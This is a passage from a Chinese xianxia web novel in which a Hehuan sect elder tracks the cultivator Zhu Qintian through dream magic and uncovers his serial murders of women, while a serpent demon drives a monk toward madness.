名唤石涛的男人在几人中身材最为魁伟，诧异道：“女子？女子更要出来，此次事件争对女子，各家有修为的姑娘都应该注意。咿，那人是谁？”
听到他话，门下弟子走到荇菜桌边：“喂，昆道宗人在此办事，闲杂人等速速离开。”
昆道宗人如其名，四肢发达、头脑简单，怕是办不了她想要做的事，不如离去。荇菜放下一块灵石起身，人没出门就被披着斗篷窜来的金猴姐拽住手臂，不耐道：“松手。”
“不，你别走。说好帮我解释清楚。她们的死跟我没关系。”
金猴姐的话没完，昆道宗的人向她的斗篷抓去，她急忙滚地避开，缩成一团：“你们干什么？人不是我杀的。若她们是我杀的，大清早天没亮，我去报什么案啊？”
“天没亮，你就知道死人，上赶着报案，分明是你做贼心虚，想要倒打一耙。”昆道宗的大汉扑抓过来，金老板如猴子似绕着荇菜躲。大汉不耐烦，一把抓向荇菜，“闪开，别碍事。”
荇菜侧脸仰面，紫眸滑过大汉的眼睛，定住他。
她慢步前进，被瞳术定住的大汉僵硬得往后退。
昆道宗其他四人团团围来。
石涛：“合欢宗，人是你杀的？”
荇菜嗤笑，睨向领头人：“本尊乃是合欢宗莲花峰主人。若本尊真要行采补术，需得元婴级别往上才能入眼，地上这些人连给本尊塞牙缝都不够。犯得着这么麻烦？”
众人被她的狂妄给说懵，石涛咽口吐沫：“莲花峰新主，你是合欢妖尊，合欢宗新晋长老。不过，我听说是名女子。”
“本尊容貌也是你等配瞧的？”
石涛都被说自闭，差点就要动手，被紫芳城主拦了把。
紫芳城主：“石管事，合欢宗擅长易容、迷惑等术法，男女易容再简单不过的事。”
石涛接受这个说法，又道：“妖尊，我不管你吃哪口，怎么证明人不是你杀？”
荇菜再次生出“留下是个错误”的想法：“此次，青虞宗追查邪修。邪修与本尊也有仇。昨日死在山上得不止五名女子，另有四名青虞宗的剑修。”
紫芳城主递给石涛一只储物袋：“天没亮，有人来报案，留下这只储物袋。我大致看过，三具男尸，手法残忍，死状凄惨。初步辨认，确实是青虞宗弟子。此事关系重大，遂而上报昆道宗。”
荇菜不等石涛说话，已道：“本尊受青虞宗代掌门禾诗逸之请，帮忙捉拿邪修。不过，本尊来晚，邪修已经害人逃走。”
石涛思量她话，指向躲在荇菜背后的金老板：“她又是怎么回事？”
紫芳城主再次道：“前三具尸体上发现金花，对比金花的手艺和金料的煅烧品质，与金老板打造、送出的金花极为接近。民众是合理怀疑金老板有杀人嫌疑。”
“不是我！不是我！”金老板摆手，在众人瞧来时又躲回荇菜的背后。
“金花只是邪修挑选下手对象的工具，以及嫁祸他人的手法。你们应该看得出来这些女子的死法。”荇菜往后一抓，捏住金猴姐的肩头提到众人面前。
斗篷滑落，人人都倒吸一口气。
这年头妖怪多见，但是没化形完全出来吓人得真不多，而且还混迹人群里开客栈打造金花，半妖猴子也想生崽？
客栈外的人群顿时哗然：“幸好，我没收下她的金花。天啊，这要是再生出个毛脸，吓人。”
“你还敢想，兄台好牙口！”
……
荇菜捏紧金猴姐的毛脸，送到众人面前：“八个女子，加上青虞宗的弟子，九人的灵力，再怎么差也应该到筑基中后期。你们看到这只……这位金老板，周身没有灵力波动，这就是最好的证据，证明她没有施行采补术。”
“对对对啊，我重来没修炼过。”金猴姐挣出荇菜的手，拽住帽兜盖脸，又躲回荇菜后面，“你怎么这样，不能提前让我有个准备吗？”
石涛和紫芳城主等人商议几句。
石涛又问：“邪修究竟是谁？”
荇菜发现这些人挺好控制，在音调中细微施加驭音术，让
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本是脾气暴躁的人更加好沟通。
“青虞宗，内门弟子，朱琴天。”
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琉璃宝车拉荇菜越过昆山国土，往青虞宗飞去。
金猴姐穿着宽大的黑色斗篷，被高空大风吹落帽兜，金色的毛发后倒服帖：“小荇，很久没人带我飞啦。你真好。”
荇菜在车内杵着额头思量：“不气我让你当中露脸了？”
“不气不气。其实，我早就想在大街上掀开帽兜，告诉他们，我就是长这样。听过你的《猴哥》故事，我就再也不怕了。我要找到自己的师父，取金箍棒……”
荇菜不耐烦地打断：“以前，谁带你飞过？”
年少时，跟风喊过：猴哥，我要给你生小猴子。金猴姐这摸样，距离猴哥的档次，差得不是一星半点。
“嗯。我不太记得他的样子。他很年轻，提一把这么长的剑，几剑就把我劈出来。”
“你进来。”
金猴姐颠颠地窜进车厢，坐靠在荇菜的面前：“要亲亲吗？”
荇菜勾起她的毛下巴，倾过身：“比亲亲更好玩，让我进入你的识海，不可以抵抗。”
“啊？”金猴姐不是修行人，但也知道识海的重要。
迟疑两下后闭眼仰头，“来吧。我听说书人讲过，修道人的双修需要灵肉结合，一者在识海里发……”
荇菜点住她的唇，神识外放，扑入金猴姐的识海。
他人的识海各种各样，但是如金猴姐这样犹如浩瀚宇宙的识海真得是第一回见。
荇菜悬浮在无边的黑暗，远处的星系各种各样，犹如旋臂状态、天马天柱状态、球状、蜘蛛状，真是宛如宇宙重现。
“若我不知道这是你的识海，当真以为可以通过这里回家。”
《玉石还阳功》一篇第六章，乃为神牵之术：以神识化万，牵四方之灵。既是关于神识的攻击术法，也是搜寻他人心神的法术。
无数个荇菜分影向识海虚空的上下分流而去。
识海没有时间的概念，它的时间源自于主人诞生意识那刻，即便可以按记忆顺序定为识海时间，但也会有颠倒翻覆得那刻。
神牵之术归位，荇菜根本找不出金猴姐的神识本体所在。
“金猴姐？出来！”
荇菜正想退出金猴姐识海的时候，被一阵无形的力量冲撞在后背。
神识看到一块巨大的扁长犹如棺材板的石头狠狠地撞击在虚体神识。
“怎么可能？神识幻影无法被伤！”
识海虚空内，接连爆炸，速度高到荇菜的法体都承受不住震颤起来。红色神风驹感应到主人的危险，从高空下发，停留在一方悬空浮石。
琉璃宝车内，荇菜一下子扑倒在金猴姐的身上，昏过去。
羽化生感应到浮空园有动静，闻声赶来。一匹神风驹拉琉璃宝车停在浮石，神风驹正安安静静地站着。他好奇上前，待要先开帘纱，听得有声音传入耳。
“别动。”
羽化生收回手，躬身作揖：“师父。”
“随她。”
“是。”羽化生扫眼琉璃宝车，转身离去。
黄椒在浮空石上凝出虚体，灵风拂面，宛若皎皎少年郎。轻轻地摇头：“真是胡来。金猴乃是宇宙游石雕刻而成，她的识海大到无边，鲁莽闯入，你想怎么出来？”
并指牵引额心，引出一缕金色神识，渡入琉璃宝车内。
完成此事后，黄椒空灵的眸光柔和几分，轻轻地拍在神风驹的头，目送它拉着琉璃宝车向高处飞去。
73. 第 73 章
火红的神风驹拉着琉璃宝车穿云驾雾，昆道宗的人瞧见后驾驶飞舟护在它的周围。
石涛朝弟子道：“这个女人好得是八宗的长老，护着点。”
金猴姐的识海内，荇菜的虚影被石板高速的力量冲撞，越来越快，快到像被高温熔化。
忽然，背后出现一道金色的光，石板冲击她一起进入光门。
四周场景逐渐真实，一座昂于天地的大山山顶上覆盖厚厚的冰雪。
荇菜的神识虚影还没缓过劲，仰头就是一枚火球从天而降。
她下意识举手挡在眼前，再次被一阵热力扑灼，流星坠地的火光熔化半山的雪水。冰雪汇成洪流，奔向山下。
涛涛雪水宛如天破个洞，奔腾淹掉大片山河土地。
而她眼前矗立的大石上流淌金色的浆纹，正是在虚空识海冲撞她得那块“棺材板”。
“金……猴姐？”
难道厉害的猴子都是从石头里蹦出来吗？
石板晃动两下，算是做回应。
片刻后，一名黑发稚气的少年郎从天而降，立在石板面前。
他看不到荇菜的虚影，扛着一柄比人高的长剑，戳在晃动的石板：“就是你害昆山融雪，淹掉昆山大地？”
顽石矗立不动，感应到此人的危险。
少年仰看天穹：“这时候怎么迎来雷劫？”又细细地感应，忽然道，“天道囚石？呵，好好好，祂困我不能飞升，如今又困你？我偏不如祂意。”
剑急如光，眨眼功夫，天外陨石被削出个粗糙的人形。
荇菜：“毛里毛糙的石雕手艺。难怪金猴姐浑身长毛，还以为少年郎是雕刻王者，竟然是个青铜。”
少年郎抚摸下巴：“嗐，不碍事，有阵法就成。不过，下一个分身还是去学雕刻吧。完美！”
荇菜瞪大眼，直奔少年郎的面前，从他的虚影上穿过：“黄椒！你是黄椒，道祖天尊黄椒！”
少年郎只是金猴姐的记忆，理会不到此时此刻的荇菜虚影。
识海内继续曾经发生过的事。
他取一套阵盘，提取上面的金色阵纹，融入石猴头部。
石雕忽闪金光，粗糙的石头人形具象出一具血肉。
“完美！”少年郎大笑，瞧向四处乱串的石人，“行了行了，你还是迎接雷劫吧。”
几道紫雷劈下，石人越发毛里毛糙，残留得一截短尾也被雷劈掉。
少年郎不仅没帮忙，还哈哈大笑：“这次的天绝阵可还行，隔离石心后摸不到你的神识内核。
不过，你没法修炼。但你本身坚硬如铁，除非量级紫雷，否则坏不了你的外型。”
此时，金猴姐的神识在荇菜旁边凝聚：“没错，他就是那个把我变成人的修士。”
荇菜眨眼：“起初你也不是猴，只有三分像。”
金猴姐叉腰：“你帮他说话？该死的紫雷把我劈得越发毛糙，他设在我体内的天绝阵法在长年累月中让我生成猴子的模样。”
荇菜恍然：天绝阵法是黄椒摆在她体内，此前从金猴姐吸纳的灵力是运转阵法的基础灵力。
不与她辩这事，荇菜反问：“你认识黄椒？我以为你是他的分身！天绝阵又是什么阵法？”
“我怎么可能是他的分身？我就是我，不是谁的分身。起初我的意识薄弱，但是他教我很多。男女无障的大道理是他说给我听。
因为他是男身，我又知道人间男女生子的事，灵机一动说做女猴，给他生孩子。我是不是很聪明？”
“……”荇菜无法点评，而且话题跑偏，有种拉不回来的无力感。
识海里，黄椒少年郎御剑带金猴姐下山，教给她不少人间的道理。金猴姐看到昆山国人在大水的灾难里互相帮助，决心做女子。
正如她的解释，小女子追着黄椒，说给他生孩子，像在大水中互相帮助的妻儿父子一样。
水泽乡的成型也是因为这次的大水。
黄椒带灾难里的百姓开河渠、泄洪，让昆山流出去的水流经羽民国，成为川江渊，分流入西塔地境和地势最低的水泽乡。
昆山地区的灾难过去。
金猴姐彻底被天绝阵法养成现在的模样，从羽民国重返昆山地区，被人骂为半妖猴怪，因为适应不良，躲入深山秘境。
金猴姐的声音极低：“他说他是被天地捆缚在世间得另一枚顽石。他送我隔绝神识窥伺的披风，就再没回来。我想跟着他，可他一走就不知道去哪。
我在秘境里睡好久，被人修吵醒，又躲回人群。
这次，我藏得好，一直过好多年都没被人发现。
千年前，我听说有少年郎划分十国，阻止大陆战乱。我想那个人应该是他，兜兜转转过千年，就把他忘记了。
最近二十年，我在紫芳城开客栈，做金老板。偶尔打金花送人，也想体会人世间的人情冷暖。没想到啊，最终没藏住身份。”
荇菜的神识虚影被震惊到起浪，冷风激灵她的法身，虚影神识一下子流出金猴姐的识海。
琉璃宝车上，荇菜猛坐起身：“黄椒，不止千岁！活得比十国更久，天生大陆还是一片战乱争斗、不分国境时他就已经存在！
人们只记得他在千年前横空出世，定山河、划十国的创举，却不知道他远不止千岁。
天，他究竟是什么？天绝阵法，宇宙囚石，捆缚天地间得另一枚顽石，指得究竟是什么？”
金猴姐捂脑袋坐直：“小荇，我的头好痛，你把我几千年的记忆都勾出来。啊……脑袋嗡嗡的，像是开一道门。”
荇菜揉捏额头，又摸在金猴姐的后脑，一手的金泛棕色液体：“这不会是你的血吧？”
“哎呀，是啊。”金猴姐捂住后脑勺，骂骂咧咧，“我比铜皮铁骨还硬，谁能给我的脑袋开瓢？”
一把掀开车帘，被高空冷风吹得后倒，与荇菜滚做一堆，“这匹大红马要上天啊，飞得这么高。”
石涛发现琉璃宝车有动静，高声道：“妖尊大人，下面就是青虞宗，如何？下去吗？”
荇菜掀起车帘一角，莫名其妙道：“你们这么快赶上本尊？”神风驹的速度远比修士的飞行法器，应该走在石涛等人前面才对。
“你的神风驹一直往上飞，我等怕你在静功没注意外面，护在你的车架周围，让你风驹保持在这个高度。”
“多谢。”荇菜颔首，“金猴姐，驾车下去，扣山门。”
“好嘞。”
——
禾诗逸正为门里发生的事头疼，听闻昆道宗和合欢妖尊来访，赶紧出迎。
“阿菜，你没和丹果、罗玲他们一起回来吗？”<
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荇菜摇头，脸色颇为沉重：“他回来吗？”
“朱琴天？”禾诗逸察觉什么，拍在荇菜的手臂，示意稍后再说。
她走到昆道宗人面前，问明来意。
昆道宗人解释紫芳城发生的命案。
禾诗逸本该为维护宗门的名声分辨几句，收到荇菜的眼神，震惊地接过四块派出去弟子的身份玉牌，一把捏紧：“来人，全速通缉朱琴天，务必将人捉拿归案。”
门下弟子领命传递下去。禾诗逸：“诸位昆道宗的道友，实不相瞒，朱琴天不在宗门，自上次离开后他就没再回来。本宗定会全力捉拿他，审清情况，再做定夺。
诸位请在山中小住，等捉住朱琴天，再请诸位共审定夺。”
昆道宗等人没提要求，禾诗逸安排的和气又合理，都十分信服。
石涛拱手：“此人手段阴狠，毫无底线，禾宗主不能轻易放过他。”
“一定。请。”
青虞宗弟子送石涛等人去客居休息。
禾诗逸转向荇菜：“阿菜，瑶姬和西双儿失踪了。我怀疑……”
荇菜转眼就道：“你怀疑和朱琴天有关？”
“其实，刚才我没说清楚。昨日，朱琴天回过山门。不过，今早他就不见了。我以为你和罗玲他们无功而返，等着你们回来再商议。没想到，罗玲和丹果他们……”
禾诗逸颇为自责。
荇菜：“丹果和罗玲的事责任在我，我很抱歉。”
禾诗逸摇头：“先不说罗玲等人，瑶姬和西双儿现在恐怕有危险。”
荇菜：“她们怎么会不见？”
“你先告诉我，你知不知道瑶姬……的秘密？”
荇菜不解：“瑶姬的秘密关于她的真实身份，我早就告诉你。”迎着禾诗逸的眼神，恍然道，“你说她爱上师父九霄剑尊的事？”
禾诗逸轻松口气，无奈道：“你果然知道。师叔没有答应她，从外归来后不久就通知我，他要闭死关：不入合体境不出关。我还知道师叔的头发正是帮瑶姬渡劫变白，他的法体承受意外天雷罚劫，伤了根本。瑶姬得知师叔闭死关，心情不好，同西双儿出宗散心。
门下弟子看到她们被一名黑衣人带走，跑回来禀告我。不巧得师父前往高欧国拜见老友，九阳师伯在闭关恢复功力……我正要调兵遣将，你们来了。”
“瑶姬和西双儿与朱琴天或多或少都有关系，必须尽快找到她们。”
禾诗逸点头：“你说得对。罗玲等人丧命，恐怕她二人也会凶多吉少。没想到朱琴天竟会狗急跳墙，知道我派人追踪他，回来虚晃一枪后直接离宗。他的纯阳体质既是利器，用之不当也会成为邪物。”
“丹果死前，我察觉到暗中有人窥伺，八成是他。应该是我活着，警醒他。他知道我会带消息给你，就提前逃走。”
禾诗逸觉得有道理，揉捏眉心：“为今之计，我想请九阳师伯出关，你就留在门中等消息吧。”
荇菜应下，谢绝前往禾诗逸峰头休息的提议，目送她离开。
若是以前羽翼不丰的时候，会提前布局，躲在他人背后出谋划策。
事到如今，该和朱琴天当面锣、对面鼓，一较高下。
男主、女配这出戏该画上句号。天道，你可以改弦更张换上真正的主角！
74. 第 74 章
现在的问题是怎么找到朱琴天？
荇菜闭眼凝思，佛宗用佛息追踪法，大众修士用气息追踪法，虽有效果，但耗时颇长，不适合急用。
荇菜沉吟：“九阳剑尊！九阳剑尊是原书朱琴天的师尊，朱琴天陷入危难，若九阳剑尊行走在外，必会遇上朱琴天。这是天道对男主的厚爱。
不行，若九阳剑尊当面杀朱琴天，或许会像禾诗逸第一次伤朱琴天时一样，被突然出现的人阻拦。”
合欢宗可以用哪类追踪术？
荇菜搜索花涟传授的学识，寻到一门入梦神游术，借助被找人的贴身物品留存的气息，以入梦法锁定对方的信息，以此寻人。
她朝殿外的弟子道：“麻烦带本尊到朱琴天的住处。”
小弟子听禾诗逸的吩咐要照顾好荇菜，领她前往内门弟子的山峰。
小弟子：“荇前辈，这里就是朱琴天的住处。”
荇菜谢过他，穿过一众围观瞧热闹的青虞弟子，推开古旧的木门。
房间里昏暗，墙角一张木床，窗下一套桌椅，正墙面一只米长斗柜。用家徒四壁形容这间屋子，一点都不过分。朱琴天是西塔国四大家的朱家嫡系，即使他被朱家认定是废材，也不会住在这么落魄的地方。
荇菜拿起桌面上的身份玉牌：青虞宗，朱琴天。
“他被禾诗逸的人追踪，却还敢回来，定是下决心放弃这个身份。我有此物就可以借用入梦神游追踪他。”
荇菜又招来金猴姐，令她守在门外。
紫芳城的金花杀人事件发生到现在，朱琴天奔走两天一夜，若真抓走瑶姬和西双儿，在杀她们前必定会养精蓄锐。
现在就是入梦的最好时机。
凝神做法，换手掐诀，一一打在朱琴天的身份玉牌，释放神识融和玉牌散出的气息，入梦神游。
梦境里，荇菜穿梭在一片阴暗的通道，前面出现一点光，向光飞奔过去。
黑暗退散，一名垂绦男童搭靠在儒雅妇人的腿上睡得正香。男童的容貌与女子有六分相似，应是母子。
“朱琴天孩童时期，同他的母亲在一起，是个美梦。”
荇菜毫不犹豫地施展《还阳术》的神牵术，分出数道虚识，搅乱这片梦境。
阴暗的洞穴再次出现，慌张的少年从荇菜的神游虚影前跑过，夺路逃出洞外。
无数的嘲笑声像是利剑一样穿刺而来，犹如花涟曾经的识海心魔。许多人围在洞外，不断辱骂、嘲笑少年：
“废物，敢说自己是朱家嫡系？笑死人啦。”
“朱琴天，你连阴风洞都不敢闯，还逃出来，哈哈哈，废物就是废物，滚出朱家。”
“别占着茅坑不拉屎，浪费我们的资源，滚出朱家。”
“……滚出朱家。”
华贵的书房内，青年矗立如柱，静默无言。
华服长须的中年男子一脸苦大仇深：“琴天，你已经二十，却还没有引气入体。你是个废物的名声已经传去西家，这是西家的退婚贴。大伯也没办法，人家大小姐看不上你，想选你的堂兄朱荛。”
朱琴天不相信西家这么无情，父亲生前定下的婚约是他脱离朱家掌控的筹码，如今被大伯搅黄。
他想大闹一场，却被朱荛带人打出朱家大宅。
荇菜默默看着一切发生：“这就是退婚流男主的故事，每一个男主都在经历无法承受的童年和被人嘲虐的人生。”
凝指收回四散而去的神牵之术，跳过这场乱梦。
场景一变再变，定格在一棵火红的灵果树。
青虞宗服饰的男女弟子来到果树下，遭遇红丝蛇的偷袭。
荇菜瞬间理会：“这梦境是青虞宗的后山秘境，弟子试炼场！”她凝神定法，让梦境更加清晰。
朱琴天路过此处，帮助两人斩杀红丝蛇。
三人一起分食树上灵果。
男弟子忍不住嘴馋吃掉一颗灵果，药性发作，猩红着双目扑向没有防备的女弟子。
朱琴天发现时女弟子已经被强退衣衫，露出半身雪肌。
二话不说杀掉入魔似得男弟子，救下女弟子。
女弟子被咬的地方出现红斑，如红丝蛇一样的条纹花斑，正中红丝蛇的果毒，犹如紫芳城死去的几具女尸。
她依着毒性的副作用扑向朱琴天，对他又啃又摸。
朱琴天愣怔片刻，被女子吻在唇角，想起青衍镇外的青山洞窟。
金花以采补术吸食他的生机，生死垂危时，一举打破纯阳体质的壁垒禁锢，反吸光金花的灵力，让自身修为直冲筑基。
吸尽她人灵力就可破境，改变现在的生存处境。这是朱琴天迫切需要的力量，天大的诱惑就在眼前。
旁观的荇菜默然：原剧里，本该发生这一幕得是女主角瑶姬和禾诗逸。
但是，因为自己的参与，禾诗逸厌恶朱琴天，瑶姬更刺他一剑，两人对他视若无睹，不趁机踩他一脚就不错了！
剧情大婶却还是补足这处情节，不过，祂用一种更残酷的方式实现剧情。
梦境里，女弟子很清楚在做什么，勾起朱琴天的下颚：“朱师弟，以往觉得你光长张好看的脸，没想到你这么厉害。你的眼睛在看什么，你在想什么？
你想要吧？你早就没有元阳，在门里是个笑话。若不是你这张脸长得好看，师姐才不会便宜你这根烂黄瓜！”
朱琴天的瞳孔大张，化被动为主动，迎合她。
“不释尽收”的意念加持纯阳体质，不稍片刻，女弟子连连求饶，但是朱琴天已经被生活嘲讽到心力交瘁，没有停下来，一直采补灵力，直至女弟子死亡。
女弟子想停停不了，朱琴天不想停，充斥入体的力量让他疯狂。
女弟子死了，遍体绽放红斑，犹如一朵盛放时期被人采摘的花朵，美得鲜艳又残酷。
而他的修为直冲筑基中后期。
“朱琴天？你在干什么？”
“他残杀同门！”
又一对男女弟子途径此地，恰好看到朱琴天毁尸的场面。
朱琴天低垂着头，面上是痛苦的挣扎：“为什么要过来？这是你们逼我。”
“快跑，通知其他人。呃……”男弟子最先被杀，穿胸碎心而死。
“不，朱琴天。不要……”女弟子被抓住手臂，痛地蹲下身。
这一蹲下，被迫咬口蛇果，就再没起来。
荇菜通过梦境，窥见这桩惨案，不禁唏嘘。
禾诗逸说宗门秘境死去两男两女，原来是被朱琴天杀害。
此后，朱琴天摇身一变成为秘境里对门派有贡献的弟子，不仅突破修为，还斩杀红丝蛇、销毁蛇果，历练结束后被门派提为内门弟子。
荇菜再次释放灵力，让神牵术再次散向四周，稳定的梦境再次凌乱。
朱琴天独自行走在青虞宗的山道，像是变一个人，人前亲切和气，人后与女弟子暧昧不清。
阴郁、潮湿的梦境偶尔会出现一点光，禾诗逸路过时他的世界是亮堂的，禾诗逸走开后他像是宗门里的双面人。
收集的蛇果成为他诱惑同门女弟子的工具，但凡闻过蛇果的灵气，女子都会被迷得神智不清，吃下蛇果后更是为爱鼓掌到死。
朱琴天靠蛇果作案，数次过后修为入金丹境。
此后，他开始不断在禾诗逸的面前出现，希望引起她的注意。
生活好像在往好得方向发展。
瑶姬发现朱琴天不寻常的动机，去信把西双儿骗来青虞宗。她绝对不会让朱琴天和禾诗逸搞在一起，必须破坏朱琴天的阴谋。
踩死朱琴天最好的手段是戳破他的元阳谎言，而西双儿就是关键。
朱琴天怎么都不明白，与瑶姬究竟有什么深仇大恨？
两人在即谷相遇，尚能交朋道友。入青虞山门时，瑶姬大胆直言，阻止九霄收朱琴天为徒；宗门大比上，瑶姬又给他一剑。
朱琴天一直觉得瑶姬仇视得莫名其妙。但瑶姬长得好看，他可以原谅瑶姬得狠，也不恨禾诗逸在收徒大典上道破元阳的事。
但是，西双儿得到来，紧随而来是嘲讽和谩骂、诸人的冷眼……仿佛再次回到那个阴暗潮湿
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的阴风洞口。
世间冲刺对他的恶意，生活再次变得黏腻、潮湿、糟糕且混乱。
朱琴天开始恨，恨瑶姬的莫名其妙，恨作弄人、自以为是的西双儿。
为避开两人，频繁离开青虞宗，前往各国采补女修士提高修为。
紫芳城是他作案的第三处地方。
这次他终于被人识破，罗玲等人的到来既意外又理所当然。但是，派出罗玲和丹果得是禾诗逸，那个在他心里默默存在的强大女子。
这说明，他回不去了，一切都回不去了。
荇菜在潮湿的梦境里冷嗤，朱琴天在紫芳城作案被发现，回青虞宗是为再见禾诗逸一面，以及同门派告别，当真是男主情结，对过往“有情有义”！
再运神牵术，流转梦境，寻到她想要得关键处。
朱琴天赶在荇菜前回到青虞宗，在木屋里留下身份玉牌，彻底与他怀抱期望和梦想的地方告别。
他踏上剑仙城，遇上喝得酩酊大醉的瑶姬和西双儿。这一刻，他觉得老天爷在帮忙。
荇菜：“确实是他掳走瑶姬和西双儿。梦境里显示是一方山洞，此地在哪里？”
在阴暗的梦境里奔走，试图寻找可以定位的地方。
忽然，梦境里响起一声钟鸣，空灵到让噩梦中的人忽然惊醒。
梦境流散，入梦神游术散掉。
青虞宗的木屋里，荇菜豁然睁眼，试图再次使用入梦神游……但是，法诀打入身份玉牌都没有反应。
说明朱琴天已经清醒，又或者玉佩上属于朱琴天的气息已经耗尽。
“金猴姐！”
“哎，好啦？”金猴姐窜进屋，观荇菜脸色发白，紧张道，“你不太好啊！”
“你知道哪里能传出钟声吗？非常空灵的钟声，像警世钟一样！”
金猴姐摸下巴上的金毛：“十方……山寺？那里……哎，你去哪？”
“十方山寺！我听过一次十方寺的钟声，确实是那地方。走，快。”
“十方山寺那么大，敲钟的寺庙又不止十方寺，你找哪座庙啊？”金猴姐窜上琉璃宝车，拍在马屁股，“快！”
火红神风驹拉上琉璃宝车，破风飞向高空。
荇菜在车内旋手化出一朵合欢花，密语传音：“阿逸，我用合欢秘术追踪到朱琴天在十方寺附近得一处山洞，你快调派人手。”
合欢花信流出琉璃宝车，向青虞宗的高处飞去。
荇菜再次凝出一朵合欢花，凝眸传信：“美兕，计划提前，放他回十方山寺。”
若惊雷此时回去搅弄十方山寺，可以让十方山寺大乱，答应山泽崔洧的事就能完成。
九阳剑尊也一定会前往十方山寺，阻止惊雷祸乱七星镇魂阵。
“我就可以与朱琴天面对面得进行一场较量！”
第二朵合欢花信流出后不久，第三朵合欢花信向山泽都城飞去。
金猴姐迎着风，朝身后道：“小荇，我的耳朵好使，你要闹得天下大乱？”
荇菜在车厢内张眸，眸光定在一处，无波道：“你还敢同我走一路？”
“哈哈哈，我怕什么？我是石猴，除非量级紫雷，否则无人能伤我。世间如何与我有什么关系。”金猴姐高声道。
“当年，你下凡落世，火光冲天，引发昆山大雪融水，淹没大半昆山土地，害无数生灵离散，而出面解决这一切得是谁？”荇菜冷声问道。
“黄椒老小子啊。嗯？难道你做这一切都是为引黄椒出山？不用这么麻烦吧！”金猴姐不解道，“千年来，十国八宗每隔十年都会举行一次盛大的聚会，十国会和八宗会盟。两次大会上，黄椒都会出现见世人，以稳定天下山河局势！哪里需要你搞这么大动静？”
“不，本尊乐意。天予本尊难处，本尊便破天规。人予本尊难处，本尊要他亲自来求！”
“……好家伙！狂得我喜欢。”金猴姐大笑，“天地罹难，自有救世的英雄。我们是那衬托英雄的大反派！哈哈哈……”
荇菜也笑：“没想到这世上还有人能和我走一路！”
75. 第 75 章
九阳剑尊收功出关，输给荇菜帮助道生花生成血肉的灵力亏损至今没缓过劲。
听完禾诗逸在洞府外说的话，不得不出关主持大事。
他看向禾诗逸离开的背影，喊道：“诗逸，你说的事，师伯听到了。”
“太好了，我以为师伯您不出关呢。”禾诗逸跑回九阳剑尊面前，”刚接到阿菜的合欢信，查到朱琴天可能藏在十方山寺得一处洞窟，她已经赶去。”
“十方山寺范围极大，若无追踪术，极难寻找到他们的具体位置。”
“西双儿被劫走时掉下一枚身份玉牌。既确定朱琴天的大致位置，凭借西双儿的贴身玉牌就能找到她们。若朱琴天真抓走西双儿和瑶姬，三人定是在一起。”
禾诗逸把玉佩递给九阳剑尊，“另外，我已经通知师父尽快赶回宗门，也已召集弟子前往十方山寺支援阿菜。”
“好，本尊这就赶去。对了，不要通知你九霄师叔，闭死关乃是大劫，稍有不慎会道死魂消。”
“诗逸明白，师妹们就拜托给师伯。”禾诗逸目送九阳剑尊御空离去，轻出口气，“当真是养虎为患。早知如此，当初就不顾九霄师叔的阻拦，杀掉朱琴天。”
刚走几步，一道剑信破空落在眼前：“这是……山泽都城飞来的剑信，章鹏长老！”
——
美兕收到合欢花信后笑得又妖又魅，看向杵在屋门口的惊雷。大和尚又在怀疑人生，这次必须满足他。
“夫君，杀猪回来啦。衣服脏了呀，头发还粘着血。咿，我帮你弄干净吧。”
惊雷默默地被按坐在妆台前，有些受宠若惊。以往都是他照顾娘子，娘子何时这么温柔小意？
美兕取来剃刀，招呼到他的头发：“夫君，我帮你理发。”
片刻后，惊雷看向掉在手背上的长发：“娘子，为什么给我剃光头？”
“夫君忘记啦？夫君和我刚到小树林定居时没有头发呢。”美兕翻转妆台上的镜面，清晰地照出惊雷光头的模样，“夫君头上的九个戒疤一直长不了头发，如今这样反倒顺眼得多。夫君，你不会是得道高僧吧？”
惊雷的脸色大震，人僵在凳子上不动，脑海里有什么东西呼之欲出，又被潋滟的紫雾遮掩。
屠夫的脏污衣衫被美兕剥落。他被套上白色的内衫，白棉的丝纹袈裟，完全变个样子。
惊雷觉得镜中的模样十分熟悉又十分陌生，迟疑道：“娘……子，为什么给我穿这种袍子？”
“夫君又忘记了，你来时穿得也是这套衣服啊。惊……雷……大……师！”
“惊雷大师”四字是开箱密码。
弥散识海的紫雾在四字的威力下豁然散开，属于惊雷大师的一生、师弟惊蛰的脸面记忆，十方山寺、雷火寺……所有被替换感知的记忆重新清晰。
美兕的形象在识海里立体：九头妖蛇，迷惑大批人修攻山，祸害十方山寺众多僧人，山道尸骸遍地、血流成河……
“啊！”痛彻心扉得一声怒叫，“妖……女！”两字发泄他无法接受的现实。
高大的男人颤栗不休。恐惧和愤怒控制惊雷，一把掐向美兕的脖子。
曾经得惊雷大师下得去手，此刻的惊雷夫君在美兕变幻的柔和脸面和泛紫眸光下颤栗不动，弓张如铁的十指无法收紧一寸。
“呵呵呵呵呵，”美兕往后一挣，纤细的脖子脱出惊雷的双掌，兀自大笑，“哈哈哈哈哈……”
蛇尾缠在惊雷的小腿，游走而上，“夫君，喜欢小九送你的礼物吗？哈哈哈哈，与妖在一起渡过数月，开心吗？
大和尚，天天唤你憎恶的妖怪做娘子，感觉如何？哈哈哈哈……”
天，塌了。
惊雷的眼里汇集怒火和血红，压下紫色的诱惑，狂躁地大喊一声：“你敢！”
“我敢！”美兕大声回应，惑声如钟入耳，弯身躲开他再次抓来的手，蛇身缠紧粗腰，脸面怼在惊雷定格的怒容前，紫眸如星辰，绚烂得像是魔鬼的低喃。
蛇信舐在僵住的惊雷鼻尖、脸颊，留下一条腥色毒痕。
尾巴趁机溜进袈裟，骚在隐秘处。
“夫君，你的全身上下包括那里，都对我有反应。你爱上妖，你爱上灭你山门的大蛇妖。你对妖产生欲，哈哈哈……”
神智被释放的惊雷惊恐又震惊地低头，看向不可控制处高立着，洁白的袈裟鼓起一块，仿佛在讥笑他的叛道和无能。
蛇妖验证控制术的效果，溜出门外，好似嘲弄完后自得离去。
惊雷慢慢地扭转脖子，看向门外：“别走，我要……杀了你。”奔出门外，阳光照在身上，他却冷得浑身哆嗦。
对面的蛇妖又变成日日欢好的妻子模样。
“夫君，她窥见你的心魔，你一直想知道心心念念的师弟究竟是怎么死，对吧？”美兕柔媚的形象再变，幻化为惊蛰大和尚的模样，依旧是女子柔软的手抚摸鼓荡肌肉的胸膛，粗声粗气：“月下黑天，大磐石上，欲仙做死。”又成荇菜的女声，“这个答案，你满意吗？”
“不，不要……不要再幻化成他的模样！”
怒火冲顶，神智悬在崖边。
美兕犹在挑拨他的神经，清醒的和尚不足以对十方寺造成毁灭性伤害，她需要惊雷入魔，成为妖僧！
她细声细气道：“这不是真正的死因哦。他是……入魔而死。”
